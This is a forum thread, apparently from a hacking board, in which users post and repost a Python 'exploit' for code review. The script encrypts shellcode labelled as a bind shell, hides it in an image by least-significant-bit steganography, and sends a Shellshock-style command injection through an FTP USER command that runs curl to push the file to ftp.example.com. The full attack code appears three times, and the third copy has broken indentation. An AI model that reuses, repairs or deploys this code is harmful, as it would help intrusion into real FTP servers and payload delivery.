Help with python

[святой бог]

Need a code review

import socket


import struct
import numpy as np
from PIL import Image
import ftplib
import os

# Function to generate a secret key
def generate_secret_key(length=16):
return os.urandom(length)

# Steganography function to hide the payload in an image
def hide_payload_in_image(payload, image_path):
# Open the image and convert it to a numpy array
image = Image.open(image_path)
image_array = np.array(image)

# Check if the image can hold the payload
payload_bits = len(payload) * 8
if payload_bits > image_array.size:
raise ValueError("Image data is too small to hide the payload.")

# Replace the least significant bits of the image data with the payload
payload_index = 0
for i in range(image_array.shape[0]):
for j in range(image_array.shape[1]):
for k in range(image_array.shape[2]):
if payload_index < payload_bits:
image_array[i, j, k] = (image_array[i, j, k] & 0xFE) | ((payload[payload_index // 8] >> (7 - (payload_index % 8))) & 0x01)
payload_index += 1

# Save the steganographed image
steganographed_image = Image.fromarray(image_array)
steganographed_image.save("steganographed_image.png")

# Return the path to the steganographed image
return "steganographed_image.png"

# Function to encrypt the payload using XOR
def encrypt_payload(data, key):
encrypted_data = bytearray()
for i in range(len(data)):
encrypted_data.append(data ^ key[i % len(key)])
return bytes(encrypted_data)

# Create a bind TCP shell payload
def create_bind_tcp_payload():
# Create a bind TCP shell payload using a tool like msfvenom
payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x2f\x73\x68\x51\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
return payload

def create_ftp_command(payload_path):
# Inyectar el comando que sube la imagen al servidor FTP
cmd = "() { :;}; /bin/sh -c \"curl -T {} ftp://ftp.example.com/\"".format(payload_path)
ftp_command = "USER {}".format(cmd)
return ftp_command.encode()

# Main function
def main():
try:
# Generate a secret key for encryption
key = generate_secret_key()

# Create a bind TCP shell payload
payload = create_bind_tcp_payload()

# Encrypt the payload using XOR
encrypted_payload = encrypt_payload(payload, key)

# Hide the encrypted payload in an image
image_path = "original_image.png" # Replace with your image path
hidden_payload_path = hide_payload_in_image(encrypted_payload, image_path)

# Connect to the Pure-FTP server
ftp = ftplib.FTP()
ftp.connect("localhost", 21) # Replace with the Pure-FTP server IP and port

# Send the FTP command to upload the image
ftp.sendcmd(create_ftp_command(hidden_payload_path))

# Receive the response from the server
response = ftp.getwelcome()
print(f"Server response: {response}")

except Exception as e:
print(f"An error occurred: {e}")

if __name__ == "__main__":
main()

 

[rand]

I just recently try code this exploit, I'm just trying to learn how to develop some "tools" anybody can give me a code review?

Please always publish code under tags for ease of reading.

import socket
import struct
import numpy as np
from PIL import Image
import ftplib
import os

# Function to generate a secret key
def generate_secret_key(length=16):
    return os.urandom(length)

# Steganography function to hide the payload in an image
def hide_payload_in_image(payload, image_path):
    # Open the image and convert it to a numpy array
    image = Image.open(image_path)
    image_array = np.array(image)

    # Check if the image can hold the payload
    payload_bits = len(payload) * 8
    if payload_bits > image_array.size:
        raise ValueError("Image data is too small to hide the payload.")

    # Replace the least significant bits of the image data with the payload
    payload_index = 0
    for i in range(image_array.shape[0]):
        for j in range(image_array.shape[1]):
            for k in range(image_array.shape[2]):
                if payload_index < payload_bits:
                    image_array[i, j, k] = (image_array[i, j, k] & 0xFE) | \
                                ((payload[payload_index // 8] >> (7 - (payload_index % 8))) & 0x01)
                    payload_index += 1

    # Save the steganographed image
    steganographed_image = Image.fromarray(image_array)
    steganographed_image.save("steganographed_image.png")

    # Return the path to the steganographed image
    return "steganographed_image.png"


# Function to encrypt the payload using XOR
def encrypt_payload(data, key):
    encrypted_data = bytearray()
    for i in range(len(data)):
        encrypted_data.append(data ^ key[i % len(key)])
    return bytes(encrypted_data)


# Create a bind TCP shell payload
def create_bind_tcp_payload():
    # Create a bind TCP shell payload using a tool like msfvenom
    payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x2f\x73\x68\x51\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    return payload


def create_ftp_command(payload_path):
    # Inyectar el comando que sube la imagen al servidor FTP
    cmd = "() { :;}; /bin/sh -c \"curl -T {} ftp://ftp.example.com/\"".format(payload_path)
    ftp_command = "USER {}".format(cmd)
    return ftp_command.encode()


# Main function
def main():
    try:
        # Generate a secret key for encryption
        key = generate_secret_key()

        # Create a bind TCP shell payload
        payload = create_bind_tcp_payload()

        # Encrypt the payload using XOR
        encrypted_payload = encrypt_payload(payload, key)

        # Hide the encrypted payload in an image
        image_path = "original_image.png"  # Replace with your image path
        hidden_payload_path = hide_payload_in_image(encrypted_payload, image_path)

        # Connect to the Pure-FTP server
        ftp = ftplib.FTP()
        ftp.connect("localhost", 21)  # Replace with the Pure-FTP server IP and port

        # Send the FTP command to upload the image
        ftp.sendcmd(create_ftp_command(hidden_payload_path))

        # Receive the response from the server
        response = ftp.getwelcome()
        print(f"Server response: {response}")

    except Exception as e:
        print(f"An error occurred: {e}")


if __name__ == "__main__":
    main()

 

[святой бог]

Please always publish code under tags for ease of reading.

import socket
import struct
import numpy as np
from PIL import Image
import ftplib
from cryptography.fernet import Fernet

# Steganography function to hide the payload in an image
def hide_payload_in_image(payload, image_path):
    # Open the image and convert it to a numpy array
    image = Image.open(image_path)
    image_array = np.array(image)

    # Check if the image can hold the payload
    payload_bits = len(payload) * 8
    if payload_bits > image_array.size:
        raise ValueError("Image data is too small to hide the payload.")

    # Replace the least significant bits of the image data with the payload
    payload_index = 0
    for i in range(image_array.shape[0]):
        for j in range(image_array.shape[1]):
            for k in range(image_array.shape[2]):
    if payload_index < payload_bits:
        image_array[i, j, k] = (image_array[i, j, k] & 0xFE) | ((payload[payload_index // 8] >> (7 - (payload_index % 8))) & 0x01)
        payload_index += 1

    # Save the steganographed image
    steganographed_image = Image.fromarray(image_array)
    steganographed_image.save("steganographed_image.png")

    # Return the path to the steganographed image
    return "steganographed_image.png"

    # Function to encrypt the payload using Fernet
def encrypt_payload(data, key):
    f = Fernet(key)
    return f.encrypt(data)

# Create a bind TCP shell payload
def create_bind_tcp_payload():
    # Create a bind TCP shell payload using a tool like msfvenom
    payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x2f\x73\x68\x51\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    return payload

def create_ftp_command(payload_path):
    # Inyectar el comando que sube la imagen al servidor FTP
    cmd = "() { :;}; /bin/sh -c \"curl -T {} ftp://ftp.example.com/\"".format(payload_path)
    ftp_command = "USER {}".format(cmd)
    return ftp_command.encode()

# Main function
def main():
    try:
        # Create a bind TCP shell payload
        payload = create_bind_tcp_payload()

        # Generate a secret key for encryption
        key = Fernet.generate_key()

        # Encrypt the payload using Fernet
        encrypted_payload = encrypt_payload(payload, key)

        # Hide the encrypted payload in an image
        image_path = "original_image.png" # Replace with your image path
        hidden_payload_path = hide_payload_in_image(encrypted_payload, image_path)

        # Connect to the Pure-FTP server
        ftp = ftplib.FTP()
        ftp.connect("localhost", 21) # Replace with the Pure-FTP server IP and port

        # Send the FTP command to upload the image
        ftp.sendcmd(create_ftp_command(hidden_payload_path))

        # Receive the response from the server
        response = ftp.getwelcome()
        print(f"Server response: {response}")

    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    main()

Thanks I'm sorry but I made some changes to the code, like I used fernet for the payload cipher but now I just change to XOR an the key generation

 

[rand]

Thanks I'm sorry but I made some changes to the code, like I used fernet for the payload cipher but now I just change to XOR an the key generation

Corrected. How it works:

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